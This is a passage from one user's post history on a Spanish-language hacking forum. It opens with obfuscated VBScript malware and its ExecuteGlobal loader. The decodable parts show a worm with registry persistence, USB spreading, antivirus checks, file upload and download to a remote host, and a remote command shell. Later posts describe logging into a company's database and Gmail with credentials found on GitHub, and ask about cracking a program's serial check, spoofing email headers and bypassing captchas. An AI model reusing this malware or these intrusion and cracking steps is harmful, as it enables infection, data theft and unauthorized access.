saXRlcg0KaW5mID0gaW5mIC@*mIHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncygiJXVzZXJuYW1lJSIpICYgc3BsaXRlcg0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBvcy@*9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iKQ0KZm9yIGVhY2ggb3NpbmZvIGluIG9zDQppbmYgPSBpbmYgJiBvc2luZm8uY2FwdGlvbi@*mIHNwbGl0ZXINCmV4aXQgZm9yDQpuZXh0DQppbmYgPSBpbmYgJi@*icGx1cyIgJiBzcGxpdGVyDQppbmYgPSBpbmYgJiBzZWN1cml0eS@*mIHNwbGl0ZXINCmluZi@*9IGluZi@*mIHVzYnNwcmVhZGluZw0KaW5mb3JtYXRpb24gPSBpbmYNCmVsc2UNCmluZm9ybWF0aW9uID0gaW5mDQplbmQgaWYNCmVuZCBmdW5jdGlvbg0Kc3ViIHVwc3RhcnQgKCkNCm9uIGVycm9yIHJlc3VtZSBOZXh0DQpzaGVsbG9iai5yZWd3cml0ZS@*iSEtFWV9DVVJSRU5UX1VTRVJcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdC@*oaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZS@*vL0IgIi@*mIGNocncoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgY2hydygzNCkgLC@*iUkVHX1NaIg0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIi@*mIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKD@*pLC@*gIndzY3JpcHQuZXhlIC8vQi@*iIC@*mIGNocncoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgY2hydygzNCkgLC@*iUkVHX1NaIg0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSx0cnVlDQpmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUsc3RhcnR1cC@*mIGluc3RhbGxuYW1lICx0cnVlDQplbmQgc3ViDQpmdW5jdGlvbiBod2lkDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBkaXNrcy@*9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpDQpmb3IgZWFjaCBkaXNrIGluIGRpc2tzDQppZi@*gZGlzay52b2x1bWVzZXJpYWxudW1iZXIgPD4gIiIgdGhlbg0KaHdpZC@*9IGRpc2sudm9sdW1lc2VyaWFsbnVtYmVyDQpleGl0IGZvcg0KZW5kIGlmDQpuZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIHNlY3VyaXR5DQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2VjdXJpdHkgPS@*iIg0Kc2V0IG9iandtaXNlcnZpY2UgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBjb2xpdGVtcy@*9IG9iandtaXNlcnZpY2UuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIsLDQ4KQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KdmVyc2lvbnN0ci@*9IHNwbGl0IChvYmppdGVtLnZlcnNpb24sIi4iKQ0KbmV4d@*0KdmVyc2lvbnN0ci@*9IHNwbGl0IChjb2xpdGVtcy52ZXJzaW9uLCIuIikNCm9zdmVyc2lvbi@*9IHZlcnNpb25zdHIgKD@*pICYgIi4iDQpmb3IgIHggPS@*xIHRvIHVib3VuZC@*odmVyc2lvbnN0cikNCm9zdmVyc2lvbi@*9IG9zdmVyc2lvbi@*mICB2ZXJzaW9uc3RyIChpKQ0KbmV4d@*0Kb3N2ZXJzaW9uID0gZXZhbC@*ob3N2ZXJzaW9uKQ0KaWYgIG9zdmVyc2lvbi@*+IDYgdGhlbiBzYy@*9ICJzZWN1cml0eWNlbnRlcjIiIGVsc2Ugc2MgPS@*ic2VjdXJpdHljZW50ZXIiDQpzZXQgb2Jqc2VjdXJpdHljZW50ZXIgPSBnZXRvYmplY3QoIndpbm1nbXRzOlxcbG9jYWxob3N0XHJvb3RcIi@*mIHNjKQ0KU2V0IGNvbGFudGl2aXJ1cy@*9IG9ianNlY3VyaXR5Y2VudGVyLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSBhbnRpdmlydXNwcm9kdWN0Iiwid3FsIiwwKQ0KZm9yIGVhY2ggb2JqYW50aXZpcnVzIGluIGNvbGFudGl2aXJ1cw0Kc2VjdXJpdHkgID0gc2VjdXJpdHkgICYgb2JqYW50aXZpcnVzLmRpc3BsYXluYW1lICYgIi@*uIg0KbmV4d@*0KaWYgc2VjdXJpdHkgID0gIiIgdGhlbiBzZWN1cml0eS@*gPS@*ibmFuLWF2Ig0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBpbnN0YW5jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnVzYnNwcmVhZGluZy@*9IHNoZWxsb2JqLnJlZ3JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIi@*mIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKD@*pICYgIlwiKQ0KaWYgdXNic3ByZWFkaW5nID0gIiIgdGhlbg0KaWYgbGNhc2UgKCBtaWQod3NjcmlwdC5zY3JpcHRmdWxsbmFtZSwyKSkgPS@*iOlwiICYgIGxjYXNlKGluc3RhbGxuYW1lKSB0aGVuDQp1c2JzcHJlYWRpbmcgPS@*idHJ1ZS@*tICIgJiBkYXRlDQpzaGVsbG9iai5yZWd3cml0ZS@*iSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdC@*oaW5zdGFsbG5hbWUsIi4iKSgwKS@*gJi@*iXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiDQplbHNlDQp1c2JzcHJlYWRpbmcgPS@*iZmFsc2UgLS@*iICYgZGF0ZQ0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgICYgIlwiLC@*gdXNic3ByZWFkaW5nLC@*iUkVHX1NaIg0KZW5kIGlmDQplbmQgSWYNCnVwc3RhcnQNCnNldCBzY3JpcHRmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0ZmlsZS@*od3NjcmlwdC5zY3JpcHRmdWxsbmFtZSkNCnNldCBpbnN0YWxsZnVsbG5hbWVzaG9ydC@*9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSkNCmlmICBsY2FzZS@*oc2NyaXB0ZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIDw+IGxjYXNlIChpbnN0YWxsZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIHRoZW4NCnNoZWxsb2JqLnJ1bi@*id3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0Kd3NjcmlwdC5xdWl0DQplbmQgSWYNCmVyci5jbGVhcg0Kc2V0IG9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW50ZXh0ZmlsZS@*oaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICw4LCBmYWxzZSkNCmlmICBlcnIubnVtYmVyID4gMCB0aGVuIHdzY3JpcHQucXVpd@*0KZW5kIGZ1bmN0aW9uDQpzdWIgc2l0ZWRvd25sb2FkZXIgKGZpbGV1cmwsZmlsZW5hbWUpDQpzdHJsaW5rID0gZmlsZXVyb@*0Kc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci@*mIGZpbGVuYW1lDQpzZXQgb2JqaHR0cGRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIgKQ0Kb2JqaHR0cGRvd25sb2FkLm9wZW4gImdldCIsIHN0cmxpbmssIGZhbHNlDQpvYmpodHRwZG93bmxvYWQuc2VuZ@*0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbg0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlZmlsZS@*oc3Ryc2F2ZXRvKQ0KZW5kIGlmDQppZiBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMj@*wIHRoZW4NCmRpbS@*gb2Jqc3RyZWFtZG93bmxvYWQNCnNldC@*gb2Jqc3RyZWFtZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbWRvd25sb2FkDQoudHlwZS@*9IDENCi5vcGVuDQoud3JpdGUgb2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlYm9keQ0KLnNhdmV0b2ZpbGUgc3Ryc2F2ZXRvDQouY2xvc2UNCmVuZCB3aXRoDQpzZXQgb2Jqc3RyZWFtZG93bmxvYWQgPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQpzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZS@*oc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZg0KZW5kIHN1Yg0Kc3ViIGRvd25sb2FkIChmaWxldXJsLGZpbGVkaXIpDQppZiBmaWxlZGlyID0gIiIgdGhlbg0KZmlsZWRpci@*9IGluc3RhbGxkaXINCmVuZCBpZg0Kc3Ryc2F2ZXRvID0gZmlsZWRpci@*mIG1pZC@*oZmlsZXVybCwgaW5zdHJyZXYgKGZpbGV1cmwsIlwiKS@*rIDEpDQpzZXQgb2JqaHR0cGRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpvYmpodHRwZG93bmxvYWQub3Blbi@*icG9zdCIsImh0dH@*6Ly8iICYgaG9zdC@*mICI6Ii@*mIHBvcnQgJiIvIi@*mICJpcy1zZW5kaW5nIi@*mIHNwbGl0ZXIgJiBmaWxldXJsLCBmYWxzZQ0Kb2JqaHR0cGRvd25sb2FkLnNlbmQgIiINCnNldCBvYmpmc29kb3dubG9hZC@*9IGNyZWF0ZW9iamVjdC@*oInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmlmICBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzIChzdHJzYXZldG8pIHRoZW4NCm9iamZzb2Rvd25sb2FkLmRlbGV0ZWZpbGUgKHN0cnNhdmV0bykNCmVuZCBpZg0KaWYgIG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPS@*yMD@*gdGhlbg0KZGltICBvYmpzdHJlYW1kb3dubG9hZ@*0Kc2V0ICBvYmpzdHJlYW1kb3dubG9hZC@*9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCndpdGggb2Jqc3RyZWFtZG93bmxvYWQNCi50eXBlID0gMQ0KLm9wZW4NCi53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQouc2F2ZXRvZmlsZSBzdHJzYXZldG8NCi5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZC@*gPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQpzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZS@*oc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZg0KZW5kIHN1Yg0KZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsKQ0KZGltICBodHRwb2JqLG9ianN0cmVhbXVwbG9hZGUsYnVmZmVyDQpzZXQgIG9ianN0cmVhbXVwbG9hZGUgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbXVwbG9hZGUNCi50eXBlID0gMQ0KLm9wZW4NCi5sb2FkZnJvbWZpbGUgZmlsZXVyb@*0KYnVmZmVyID0gLnJlYWQNCi5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZC@*9IG5vdGhpbmcNCnNldCBodHRwb2JqID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpodHRwb2JqLm9wZW4gInBvc3QiLCJodHRwOi8vIi@*mIGhvc3QgJi@*iOiIgJiBwb3J0ICYiLyIgJi@*iaXMtcmVjdmluZyIgJiBzcGxpdGVyICYgZmlsZXVybCwgZmFsc2UNCmh0dHBvYmouc2VuZCBidWZmZXINCmVuZCBmdW5jdGlvbg0KZnVuY3Rpb24gZW51bWRyaXZlci@*oKQ0KZm9yICBlYWNoIGRyaXZlIGluIGZpbGVzeXN0ZW1vYmouZHJpdmVzDQppZi@*gIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmVudW1kcml2ZXIgPSBlbnVtZHJpdmVyICYgZHJpdmUucGF0aC@*mICJ8Ii@*mIGRyaXZlLmRyaXZldHlwZS@*mIHNwbGl0ZXINCmVuZCBpZg0KbmV4d@*0KZW5kIEZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtZmFmIChlbnVtZGlyKQ0KZW51bWZhZi@*9IGVudW1kaXIgJiBzcGxpdGVyDQpmb3IgIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5zdWJmb2xkZXJzDQplbnVtZmFmID0gZW51bWZhZi@*mIGZvbGRlci5uYW1lICYgInwiICYgIiIgJi@*ifCIgJi@*iZCIgJi@*ifCIgJiBmb2xkZXIuYXR0cmlidXRlcy@*mIHNwbGl0ZXINCm5leHQNCmZvci@*gZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5maWxlcw0KZW51bWZhZi@*9IGVudW1mYWYgJiBmaWxlLm5hbWUgJi@*ifCIgJiBmaWxlLnNpemUgICYgInwiICYgImYiICYgInwiICYgZmlsZS5hdHRyaWJ1dGVzICYgc3BsaXRlcg0KbmV4d@*0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtcHJvY2Vzcy@*oKQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCBvYmp3bWlzZXJ2aWNlID0gZ2V0b2JqZWN0KCJ3aW5tZ210czpcXC5ccm9vdFxjaW12MiIpDQpzZXQgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9wcm9jZXNzIiwsNDgpDQpkaW0gb2JqaXRlbQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KZW51bXByb2Nlc3MgPSBlbnVtcHJvY2Vzcy@*mIG9iaml0ZW0ubmFtZS@*mICJ8Ig0KZW51bXByb2Nlc3MgPSBlbnVtcHJvY2Vzcy@*mIG9iaml0ZW0ucHJvY2Vzc2lkICYgInwiDQplbnVtcHJvY2Vzcy@*9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5leGVjdXRhYmxlcGF0aC@*mIHNwbGl0ZXINCm5leHQNCmVuZCBmdW5jdGlvbg0Kc3ViIGV4aXRwcm9jZXNzIChwaWQpDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2hlbGxvYmoucnVuICJ0YXNra2lsbC@*vRi@*vVC@*vUElEICIgJiBwaWQsNyx0cnVlDQplbmQgc3ViDQpzdWIgZGVsZXRlZmFmICh1cmwpDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIHVyb@*0KZmlsZXN5c3RlbW9iai5kZWxldGVmb2xkZXIgdXJsDQplbmQgc3ViDQpmdW5jdGlvbiBjbWRzaGVsbC@*oY21kKQ0KZGltIGh0dHBvYmosb2V4ZWMscmVhZGFsbGZyb21hbnkNCnNldCBvZXhlYy@*9IHNoZWxsb2JqLmV4ZWMgKCIlY29tc3BlYyUgL2MgIi@*mIGNtZCkNCmlmIG5vdCBvZXhlYy5zdGRvdXQuYXRlbmRvZnN0cmVhbSB0aGVuDQpyZWFkYWxsZnJvbWFueS@*9IG9leGVjLnN0ZG91dC5yZWFkYWxsDQplbHNlaWYgbm90IG9leGVjLnN0ZGVyci5hdGVuZG9mc3RyZWFtIHRoZW4NCnJlYWRhbGxmcm9tYW55ID0gb2V4ZWMuc3RkZXJyLnJlYWRhbGwNCmVsc2UNCnJlYWRhbGxmcm9tYW55ID0gIiINCmVuZCBpZg0KY21kc2hlbGwgPSByZWFkYWxsZnJvbWFueQ0KZW5kIGZ1bmN0aW9uDQo="
res_ult = Replace(main_cont, mut_ex, the_const)
zufc = encode_the_string64(Nothing, res_ult, 10, 87)
End Function

Dim wiuryajf, li
wiuryajf = co_bi_na_ry_2_str(zufc(0, Nothing, 0, 993), 4, 1, 2, 3)
Private Function dskgfhaksdf()
ExecuteGlobal wiuryajf
dskgfhaksdf = ""
End Function
li = dskgfhaksdf()


:https://www.virustotal.com/es/file/8cfee0a9daaff3eeaa896fd41d4f39bf85fab3342a83e53d8c04b2d8102db0f6/analysis/1535044219/
#6
Ando mirando un código de un malware y me parece curioso la siguiente linea de codigo,

Código (vb) [Seleccionar]
If 728473480 = 728473480 + 1 Then End

Dim Kbq As Currency
GoTo mLaTDlnIkoDA
mLaTDlnIkoDA:
Set oXML = CreateObject("Microsoft.XMLHTTP")
Set oStream = CreateObject("Adodb.Stream")

If 743334101 = 743334101 + 1 Then End


Con que fin se usa? De hecho el malware la usa varias veces con diferente número a comparar
#7
PHP / cURL y algo raro al printear valores
28 Junio 2017, 21:11 PM
Tengo una petición con cURL, algo básica y tonta... El caso es el siguiente, realizo una petición a x website, recolecto el valor en una variable y uso la función Desde_Hasta de WHK.

El problema es que en una petición, uso:
Código (php,7) [Seleccionar]
# Para recolectar el valor ejecutado de la petición en una variable
curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
# -- SNIP ----
$Response = curl_exec($CH);
curl_close($CH);

print htmlentities($Response, ENT_QUOTES);

Aquí la web me muestra en blanco, pero al usar lo mismo pero cambiando el htmlentities( por un echo / print normal, me muestra el valor que deseo, es decir,
Código (php,7) [Seleccionar]
# Para recolectar el valor ejecutado de la petición en una variable
curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
# -- SNIP ----
$Response = curl_exec($CH);
curl_close($CH);

print $Response;


Porque sucede esto? Que influye el htmlentities($String, ENT_QUOTES);
#8
Abril negro / Quien más se apunta?
6 Febrero 2017, 22:05 PM
Que onda, no he escrito en ninguno de los Abril Negro anteriores, este año vengo motivado a presentar un proyecto que tengo en compañia con uno amigo, no adelanto más  :silbar:, quien más se apunta?
#9
Nivel Web / GitHub como vector de ataque
11 Agosto 2016, 20:07 PM
GITHUB COMO VECTOR DE ATAQUE

Una vez auditando un sistema me encontré una cuenta en GitHub la cual contenía el código fuente de la aplicación, la cuenta era estándar así que se podía clonar y auditar directamente analizado el código en un entorno controlado. Esto me dio la idea de ver cuántas personas guardaban credenciales o información privada que ayudara a ingresar fácilmente en los sistemas/aplicaciones/plataformas. Esto fue lo que encontré:

Encontré una empresa la cual ofrece servicios de: Desarrollo Web, Aplicaciones Móviles, Soluciones Empresariales, Software a la Medida. Esta empresa utiliza una cuenta den GitHub donde publica los código fuentes de los servicios prestados.

Seleccione un repositorio e inicialmente vi que era un CMS Joomla, entre al archivo configuration.php, y vi los parámetros para la conexión a la base de datos.


Con HeidiSQL ingrese las credenciales y sorpresa!


Se pueden encontrar credenciales de correo electrónico, como por ejemplo:


Entramos al Gmail y sorpresa!


Se pueden encontrar archivos de SQL con las credenciales


No dispongo de mucho tiempo, pero ya alguien mas aportará de las cosas que se puede llegar a hacer con esos descuidos. Provechen y feliz Hack!
#10
Buenas,

Tengo un problema que no se como resolver, es algo simple: Necesito agregar en algunas celdas de Excel (entonces necesito la solución en VBA) varios caracteres especiales como: ≥ y ≤

El problema esta en qué, agregue el caracter a una celda y en VBA recupere el valor en con la función Asc, el resultado es igual para los dos casos y cuando lo agrego mediante el código VBA me muestra otro caracter.

Alguna idea?
#11
Buenas,

Tengo un endian como router y filtro de contenido para una red. Desde está no me permite enviar ni recibir correos electronicos desde la aplicación Outlook, si me conecto desde la red externa conecta inmediatamente.

Así que por tal motivo, pienso y creo que es el endian el que me esta bloqueando. Saben si Outlook maneja algun puerto en especifico para dejar enviar y recibir correos?
#12
Pregunta casual,

Tengo algo en mente y necesito enviar un correo electronico a una cuenta de Outlook, pero necesito agregarle unas cabeceras al correo electronico que voy a enviar. Por ejemplo, necesito enviar la cabecerá X-Originating-Email y/o Return-Path modificando esos valores.

Esto podría hacerlo directamente con C#? Algun ejemplo?
#13
Intento instalar VMWare 12 y me pide lo siguiente: Kernel Headers 4.3.0-1-amd64

Se supone que debo de instarlo de la siguiente manera: (Pero no funciona)
Código (bash) [Seleccionar]
# apt-get install linux-headers-`uname -r`

Nunca me habia pasado este problema, alguna idea?

SOLUCIONADO
Código (bash) [Seleccionar]
# apt-get update && apt-get dist-upgrade
#14
Redes / Bloquear equipos en red
3 Marzo 2016, 15:15 PM
Buenas,

Necesito bloquear (no permitir realizar alguna acción) los equipos que estan en red diariamente, aprox 10min al dia. Son aprox 30 equipos, así que si podría hacerse directamente alguna configuración en el servidor para que se replique en los demás, sería excelente. Aguna idea?

PD: Como si fuera un cafe internet, que cuando se te acaba el tiempo que pagaste el equipo automaticamente se bloquea y no permite realizar más operaciones, hasta que sea habilitado de nuevo.
#15
Actualmente tengo un problema con el tipo de datos a usar, los valores son los siguientes:

790607,67
556792,00
83181,51
140960,00
603706,95
281920,00
7320,44
329419,86
224983,96
18082,94
327732,00
148008,00
296016,00
104881,04
451072,00
14998,93
281920,00
387640,00
239632,00
TOTAL: 5288875,30


Se supone que Long contiene enteros de 64 bits (8 bytes) con signo cuyo valor se sitúa desde -9.223.372.036.854.775.808 hasta 9.223.372.036.854.775.807 (9,2... E+18).

Use Long y da desbordamiento, alguna recomendación?
#16
Buenas

Tengo un usuario al cual le cambie los privilegios en algunas carpetas compartidas. El problema está en que: si ingreso en el computador del usuario, aun tengo acceso a las carpetas donde le cambie los privilegios... Pero si ingreso con la misma cuenta en otro equipo, si tiene la restricción de privilegios en las carpetas.

Alguna idea de como solucionarlo?
#17
Buenas,

Como hago para agregar un usuario y su respectiva contraseña para loguearse en el FTP que acabo de activar con ayuda del IIS. En este momento con el usuario que ingreso es anonymous.

PD: Estoy usando como O.S Windows 7

NOTA: Ya no, use FileZilla Server y funca excelente :D
#18
Existe un software que me permita eliminar archivos pasados 2 meses? O es configuración del servidor?
#19
Algo parecido a publicidad pero ganando dinero por visitas. Como GoogleAdsense que paga por visitas y por click, para este caso sólo visitas?
#20
PHP / Que tipo de servicio es?
7 Octubre 2015, 06:35 AM
Cuando llamo a una empresa que domicilios, con sólo tener el número de teléfono fijo (Para que me entiedan; el número telefónico de cada casa) se puede saber la dirección de la residencia.

Que tipo de servicio es? GoogleMaps?
#21
Tengo una petición y la capture con HTTP Live Headers, al realizar replay desde allí el mensaje que me sale es: "{"msg":"\u00a1Felicitaciones}"

Ahora cuando trato de replicarlo en PHP con cURL, la petición es correcta pero al mostrar el resultado me sale: "�-�AO�0 ��JȁkZ$`�֡��DW !qXvHS+ j��I[m��N:����~��/"

Saben porque?
#22
PHP / [DUDA] cURL subir imagen
8 Septiembre 2015, 03:43 AM
Tengo el siguiente problema, tengo que automatizar la subida de imagenes a un host, la petición que realiza es la siguiente:

POST:
-----------------------------14284656516611\r\n
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
ÿØÿà


Creo que usab UploadiFive, como le paso la ruta de la imagen? Trato de pasarsela en filename pero al tratar de subir sale un mensaje de error personalizado.
#23
PHP / Peticiones multiples con cURL
26 Agosto 2015, 21:56 PM
Tengo que realizar una aplicación que haga una petición a una web, pero previamente debo de estar logueado con mi usuario.

cURL 1: Logueo -> user=shell&pass=root
cURL 2: CambiarPerfil -> nombre=alex&id=1

Tendria que usar el mismo objeto usado de cURL para conseguirlo? O como mantengo la primer petición para continuar con la segunda?
#24
.NET (C#, VB.NET, ASP) / Captcha To Text API
21 Agosto 2015, 21:26 PM
Buenas,

Saben de alguna API para convertir una captcha a texto? bypass? Como lo quieran llamar!

Me interesa más C#! o si tiene algo en PHP no me molesta! :p

PD: Dije que me retiraba pero ... necesito esto :/
#25
Foro Libre / Me despido, un placer conocerlos!
1 Agosto 2015, 06:42 AM
Bueno quizás vuelva pero no muy seguido, me despido de esta gran comunidad. Hasta luego!

Saludos
#26
Bueno siguiendo con el tema del crack para esta aplicación https://dl.dropboxusercontent.com/u/71932290/demo.exe

1. Inicialmente tenia el problema de empezar a debuggear porque tenia la función IsDebuggerPresent, este logre pasarlo mediante analisis de código y con el Olly que me paso tincopasan que fue esté http://www.mediafire.com/download/n4cfbfhzgnalmks/temp.rar

Después empece a buscar el punto donde se ingresa el seria que se compone de la siguiente estructura:

Numero de Serie: 123 - 12345 - 12345
Identificador: 9482F5FEA75B983E
Clave: Indefinido

Llegue al punto donde se empieza a evaluar los grupos del número de serie



De ahí pues imagino que tengo que empezar a pasar con F8 a ver los valores, pero no tengo idea, aclaro que lo que puse fue meramente empirico. Me ayudan? Por lo menos lo intente jejeje

Código (asm) [Seleccionar]
0070E50E   . 8D85 FCFEFFFF  LEA EAX,DWORD PTR SS:[EBP-104] ; Recoge el valor de la dirección DWORD en EAX
                                                          ; EAX en este momento vale EAX=0000000D
0070E514   . E8 FB46CFFF    CALL erstatto.00402C14         ; LLama la dirección 00402C14 que si busco más arriba es un PUSH a EDX
0070E519   . 85C0           TEST EAX,EAX                   ; No se que es pero lo vi con la flag Z cuando intente sacar el IsDebuggerPresent
0070E51B   . 75 07          JNZ SHORT erstatto.0070E524
0070E51D   . C745 FC 010000>MOV DWORD PTR SS:[EBP-4],1     ; No se que es pero sale Stack SS:[0012EB20]=00000000
0070E524   > BA 05000000    MOV EDX,5                      ; Mueve 5 a EDX ; EDX=00802079 (erstatto.00802079), ASCII "P15"

; Aquí creo que empieza a evaluar el segundo grupo del número de serie

0070E529   . 8D85 FDFDFFFF  LEA EAX,DWORD PTR SS:[EBP-203] ; Stack address=0012E921, (ASCII "12345")
                                                          ; EAX=00000000
0070E52F   > 8A08           MOV CL,BYTE PTR DS:[EAX]       ; EAX es 12345
                                                          ; Stack DS:[0012E921]=31 ('1')
                                                          ; CL=00
                                                          ; Jump from 0070E544
0070E531   . 80F9 41        CMP CL,41 ; CMP Es un condicional y evalua que CL sea 41 pero en este caso es
                                                          ; CL=31 ('1')
0070E534   . 72 05          JB SHORT erstatto.0070E53B
0070E536   . 80F9 5A        CMP CL,5A
0070E539   . 76 07          JBE SHORT erstatto.0070E542
0070E53B   > C745 FC 010000>MOV DWORD PTR SS:[EBP-4],1     ; Stack SS:[0012EB20]=00000001
                                                          ; Jump from 0070E534
0070E542   > 40             INC EAX ; Incrementa EAX
                                                          ; EAX=0012E921, (ASCII "12345")
                                                          ; Jump from 0070E539
0070E543   . 4A             DEC EDX ; Decrementa EDX
                                                          ; EDX=00000005
0070E529   . 8D85 FDFDFFFF  LEA EAX,DWORD PTR SS:[EBP-203]
0070E52F   > 8A08           MOV CL,BYTE PTR DS:[EAX]
                                                          ; Stack DS:[0012E922]=32 ('2')
                                                          ; CL=31 ('1')
                                                          ; Jump from 0070E544


Hasta aqui medio lei... No entendi nada, pero puedo decir que:
P15 es el primer grupo del número de serie

Después el segundo grupo sería,
- El primer caracter se evalue en la linea #17 que tiene que ser 41 en HEX es A
- El segundo caracter se evalue en la linea #20 que tiene que ser 5A en HEX es Z

Voy bien?
#27
Trato de meterme mas en este mundo y tengo una aplicación que según me dice el RDG Packer Detector me dice que es Borland, baje un decompilador y lo que veo es igual a Ollydbg sólo que puedo diferencias las funciones.

El problema que tengo es que: tengo el Ollydbg y abro el EXE de la aplicación y se queda cargando la aplicación y no puedo debuggear, quizás algún protector anti-debugger?

Como podría empezar a buscar y quitar la protección?

Dejo la aplicación por si le quieren tirar un ojo https://dl.dropboxusercontent.com/u/71932290/demo.exe
